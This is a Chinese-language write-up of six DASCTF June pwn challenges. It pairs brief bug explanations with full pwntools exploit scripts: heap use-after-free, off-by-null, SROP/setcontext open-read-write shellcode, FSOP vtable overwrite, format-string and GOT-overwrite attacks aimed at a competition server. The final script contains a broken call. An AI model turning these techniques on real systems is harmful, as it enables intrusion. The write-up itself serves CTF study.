Dasctf 6月赛其余pwn WP

copy:

这题主要是堆风水的利用,通过运行我们可以发现,每次申请块之后都会free掉这个块,但是接下来执行删除操作的时候我们还可以利用这个指针因此存在uaf漏洞,剩下的就是堆风水的利用了,不再赘述
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'

binary = 'copy11'
elf = ELF('copy11')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "183.129.189.60"
  port =  10034
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
	sla("choice:",str(idx))
def add(idx,size,payload):
	cmd(idx)
	if idx == 1:
		cmd(1)
		sla("input size:",str(size))
		sa("input data:",payload)
	else:
		cmd(1)
		sa("input data:",payload)
def free(idx,idx1):
	cmd(idx)
	cmd(2)
	sla("index?\n",str(idx1))
def show(idx,idx1):
	cmd(idx)
	cmd(3)
	sla("index?\n",str(idx1))

add(1,0x90,"a")
free(1,0)
add(1,0x90,"aaa")
show(1,0)
ru("data: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
lg("heap_addr",heap_addr)
add(1,0x90,p64(heap_addr-0x11f00-0xb0+0x10))
free(1,0)
free(1,1)
add(2,0x90,p64(heap_addr-0x11e00-0xb0+0x10))
payload = p64(0x101)+p64(0x0108)
payload += p64(0)*6
payload += p64(heap_addr-0x11e00-0xb0+0x10+0x60)
payload += p64(heap_addr+0xa0)
payload += p64(0)+p64(0x31)
payload += p64(0)*3+p64(0x21)
payload += p64(heap_addr+0xb0+0x10-0x20)
payload += p64(heap_addr-0x11e00-0xb0+0x10+0x50)
add(2,0x90,payload)
show(1,0)
libc_base = l64()-0x3ebca0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
sys_addr = libc_base+libc.sym["system"]
payload = p64(0)*5+p64(0x31)+p64(0)*5
o_g = [0x4f2c5,0x4f322,0x10a38c]
one = o_g[1]+libc_base
free(2,1)
add(2,0x90,payload)
add(1,0x18,p64(free_hook)*3)
free(1,1)
add(1,0x60,p64(one))
# gdb.attach(p)
p.interactive()
easyheap:
溢出点:

libc2.27下的off by null可以参考cnitlrt,本题和我的简书上的第二个题的利用手法类似加了个沙盒:
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'

binary = 'ezheap'
elf = ELF('ezheap')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "183.129.189.60"
  port =  10027
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
	sla("Your Choice: ",str(idx))
def add(idx,size,payload):
	cmd(1)
	sla("index>> ",str(idx))
	sla("size>> ",str(size))
	sa('name>> ',payload)
def free(idx):
	cmd(2)
	sla("index>> ",str(idx))
def show(idx):
	cmd(3)
	sla("index>> ",str(idx))
def edit(idx,payload):
	cmd(4)
	sla("index>> ",str(idx))
	sa('name>> ',payload)
for i in range(7):
    add(i,0x68,"aaaa")
for i in range(7):
    add(i+7,0xf8,"aaaa")
add(14,0xf8,"aaaa")#14
add(15,0x68,"aaaa")#15
add(16,0xf8,"aaaa")#16
add(17,0x68,"aaaa")#17
for i in range(14):
    free(i)
free(15)
free(14)
add(0,0x68,"a"*0x60+p64(0x100+0x70))
free(16)
add(19,0x110,"a"*0xf0+p64(0)+p64(0x101))
add(18,0x140,"aaaa")
edit(18,"a"*0xd0+p64(0)+p64(0x21)+p64(0)+p64(0x21)*3)
free(0)
show(19)
libc_base = l64()-0x3ebca0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = 0x520a5+libc_base
edit(19,"\x00"*0xf0+p64(0)+p64(0x101)+p64(0)+p64(free_hook-0x20))
add(0,0xf8,"\x00")
edit(19,"\x00"*0xf0+p64(0)+p64(0x71))
edit(18,"\x00"*0x40+p64(0)+p64(0x21)*3)
free(0)
edit(19,"\x00"*0xf0+p64(0)+p64(0x71)+p64(free_hook-0x13))
add(0,0x68,"\x00")
add(1,0x68,"\x00"*3+p64(setcontext))
free_hook1 = free_hook&0xfffffffffffff000
syscall = 0x00000000000d2975+libc_base
pop_rdi = 0x000000000002155f+libc_base
pop_rsi = 0x0000000000023e6a+libc_base
pop_rdx = 0x0000000000001b96+libc_base
pop_rax = 0x00000000000439c8+libc_base
payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002b1d+libc_base]
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
fa = str(frame)
edit(18,fa)
free(18)
sc = """
mov rax, 0x67616c662f
push rax

mov rdi, 0
mov rsi, rsp
mov rdx, 0
mov rax, SYS_openat
syscall				;//openat(0, "/flag", 0)

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100		
mov rax, SYS_read
syscall				;//read(fp, rsp, 0x100)

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_write
syscall				;//write(1, rsp, 0x100)

mov rax, SYS_exit
syscall
"""	
payload = flat(payload) + asm(sc)
# gdb.attach(p)
p.send(payload)
p.interactive()
oooooorder

加了沙盒,程序的漏洞点在:

使用realloc,realloc有个特性是当size为0的时候会free掉当前堆块,由此可以造成uaf,因此:
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'

binary = 'oooorder'
elf = ELF('oooorder')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "183.129.189.60"
  port =  10028
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
	sla("Your choice :\n",str(idx))
def add(size,payload):
	cmd(1)
	sla("How much is the order?\n",str(size))
	sa("Order notes:\n",payload)
def show():
	cmd(3)
def edit(idx,payload):
	cmd(2)
	sla("Index of order:\n",str(idx))
	sa("Order notes:\n",payload)
def free(idx):
	cmd(4)
	sla("Index of order:\n",str(idx))
for i in range(10):
	add(0x400,"aaaa")
free(0)
free(1)
add(0x400,"\xa0")
show()
ru("[0]:")
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x2a0
lg("heap_base",heap_base)
add(0x400,"\xa0")
for i in range(7):
	free(i+3)
for i in range(8):
	add(0x18,"dddd")
for i in range(7):
	free(i+3)
free(0)
for i in range(7):
	add(0x400,"\xa0")
free(10)
add(0x400,"a"*0x8)
show()
libc_base = l64()-0x3ebca0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+0x520a5
free_hook1 = free_hook&0xfffffffffffff000
add(0,"")#10
add(18,"aaa")#11
free(11)
cmd(2)
syscall = 0x00000000000d2975+libc_base
pop_rdi = libc_base+0x000000000002155f
pop_rsi = libc_base+0x0000000000023e6a
pop_rdx = libc_base+0x0000000000001b96
pop_rax = libc_base+0x00000000000439c8
p.recv()
p.sendline("10")
free(10)
add(0x20,p64(free_hook))
add(0x20,"aaa")
add(0x18,p64(setcontext))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
fr = str(frame)
payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002b1d+libc_base]
edit(4,fr)
free(4)
sc = shellcraft.open("flag",0)
sc += shellcraft.read("rax",free_hook1+0x400,0x100)
sc += shellcraft.write(1,free_hook1+0x400,0x100)
payload = flat(payload)+asm(sc)
p.send(payload)
# gdb.attach(p)
p.interactive()
secret:

程序有任意地址写的漏洞,而后用fclose关闭所有流,意图很明显了就是让我们分析fclose,在我们一步一步跟进的时候发现有两个地方是我们可以控制的地方,第一个是:

对应:

此时的rbp指向vtable,因此我们可以在_IO_file_jump+0x88的位置填上one_gadget完成利用
第二个是:
对应:
因此我们可以在_io_file_jumps的0x10的位置上写上one_gadget完成利用,具体根据自己的调试吧:
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'

binary = 'secret'
elf = ELF('secret')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "183.129.189.60"
  port =  10030
  p = remote(host,port)
# o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
# magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
"""
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
  [rcx] == NULL || rcx == NULL
  [rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
o_g = [0xe237f,0xe2383,0xe2386,0x106ef8,0x106f04]
ru("0x")
libc_base = int(p.recv(12),16)-libc.sym["printf"]
lg("libc_base",libc_base)
addr = libc.sym["_IO_2_1_stderr_"]+libc_base+0xd8
addr1 = 0x1e5960+libc_base
addr1 = addr1&0xffff
sys_addr =libc_base+libc.sym["system"]
one = o_g[2]+libc_base
payload = p64(one)*3
p.recv()
p.send(p64(addr))
p.send(p16(addr1))
# gdb.attach(p)
p.send(payload)
p.interactive()

延申:
在我们一步步跟踪的时候我们可以发现那两个位置的rdx都指向了_IO_helper_jumps,我们知道在libc2.29的版本下setcontext函数参数并非是常规的rdi而是rdx因此我们可以利用这一点来完成libc2.29下的setcontext的利用。

spirngbord

非栈上的格式化字符串漏洞利用:
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = 'springboard'
elf = ELF('springboard')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "183.129.189.60"
  port =  10029
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
o_g = [0x4f2c5,0x4f322,0x10a38c]
payload = "%11$p-%13$p-%39$p"
p.recv()
p.sendline(payload)
ru("0x")
libc_base = int(p.recv(12),16)-0x21b97
lg("libc_base",libc_base)
ru("0x")
addr13 = int(p.recv(12),16)
ru("0x")
addr39 = int(p.recv(12),16)
lg("addr13",addr13)
lg("addr39",addr39)
ret_addr = (addr13-0xe0)
lg("ret_addr",ret_addr)
one = libc_base+o_g[0]
addr1 = one&0xffff
payload = "%{}c%{}$hn".format((ret_addr+2)&0xffff,13)
ru("input your name:")
p.sendline(payload)
# ru("cnit")
ru("input your name:")
payload = "%{}c%{}$hhnCnit\x00".format((one>>16)&0xff,39)
p.sendline(payload)
ru("Cnit")
ru("input your name:")
payload = "%{}c%{}$hhnCnit".format(ret_addr&0xffff,13)
p.sendline(payload)
ru("Cnit")
ru("input your name:")
payload = "%{}c%{}$hnCnit".format(one&0xffff,39)
p.sendline(payload)
ru("Cnit")
ru("input your name:")
p.sendline("\x00"*0x50)
# gdb.attach(p)
p.interactive()
Memory_Monster_IV

数组上溢修改write的got表为one_gadget,getshell之后使用exec 1>&2来重定向

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'

binary = 'Memory_Monster_IV'
elf = ELF('Memory_Monster_IV')
libc = ELF("libc-2.30.so")
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = ""
  port =  0
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
libc_base = l64()-libc.sym["execve"]
libc_base =libc_base&0xfffffffffffff000
lg("libc_base",libc_base)
write_addr = libc_base+libc.sym["write"]
one = 0x10afa4+libc_base
addr1 = one&0xff
addr2 = one>>8
addr2 = addr2&0xff
lg("addr1",addr1)
sla("index:","-7624")
p.recv()
p.sendline(str(hex((addr1))))
sla("index:","-7623")
p.recv()
p.sendline(strhex((addr2)))
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值